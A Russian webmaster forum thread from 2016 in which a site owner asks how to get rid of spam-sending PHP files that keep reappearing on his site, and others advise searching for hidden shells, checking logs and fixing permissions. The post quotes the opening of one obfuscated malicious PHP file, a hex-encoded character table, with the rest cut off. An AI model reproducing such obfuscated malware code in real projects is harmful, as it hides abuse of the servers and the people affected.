Идет спам с сайта

30

Григорий Алекс

13 декабря 2016, 07:39

1513

Всем привет!

Задолбал спам с сайта, хостер выключает почтовый сервер, указывает на файлы рассылающие спам, файлы такого содержания:

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['w4841fe1a'] = "\x70\x36\x5e\x2a\x4d\x49\x37\x7b\x24\x55\x76\x77\x5d\x62\x4f\x6e\x56\x2b\x47\x54\x4b\x4e\x61\x45\x5b\x6d\x44\x40\x48\x2f\x78\x32\x59\x4a\x27\x5c\x2e\x6b\x9\x6f\x25\x22\x3c\x3e\x75\x5f\x52\x6a\x51\x73\x68\x3b\x41\x38\x21\x69\x29\x34\x58\x20\x66\x3d\x23\x39\x46\x7c\x5a\x6c\x74\x2c\xa\x72\x67\x7e\x64\x3a\x2d\x35\x53\x57\x31\x3f\x42\x26\x30\x50\x79\x60\x28\x43\x4c\x71\x33\x7a\x65\xd\x63\x7d"; ..... длинный код

Файлы удаляю, на следующий день, а-ля и они уже опять "дома" и занимаются своим подлым делом.

Может кто знает, где искать, как выглядит?

92

Onecontent

13 декабря 2016, 08:56

#1

/ru/forum/webmasters-jobs/websites-servers-administration

Создание и продвижение сайтов в Самаре ( https://onecontent.ru ) Автоаксессуары и тюнинг в Красноярске ( https://carbonado24.com )

205

Алеандр

13 декабря 2016, 23:43

#2

Анализ файлов, поиск дырок, скрытых шеллов. Анализ логов доступа для выявления простукивания и заходов в дырку сайта. Зачистка, закрытие дыр, выставление правильных прав на папки и файлы. Ну и дальше по списку..

1609

SeVlad

14 декабря 2016, 08:40

#3

Григорий Алекс:
Может кто знает, где искать, как выглядит?

В файлах.

В разделе есть закреплённый топик специально для тебя.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.

10

Usaman

1 января 2017, 18:30

#4

Все хорошенько проверить, для надежности вручную и программами. Потом ставить защиту от вирусов, но только когда на 100% уверены, что устранили проблему.

Что делать, если ваша email-рассылка попала в спам

Open AI тестирует память для ChatGPT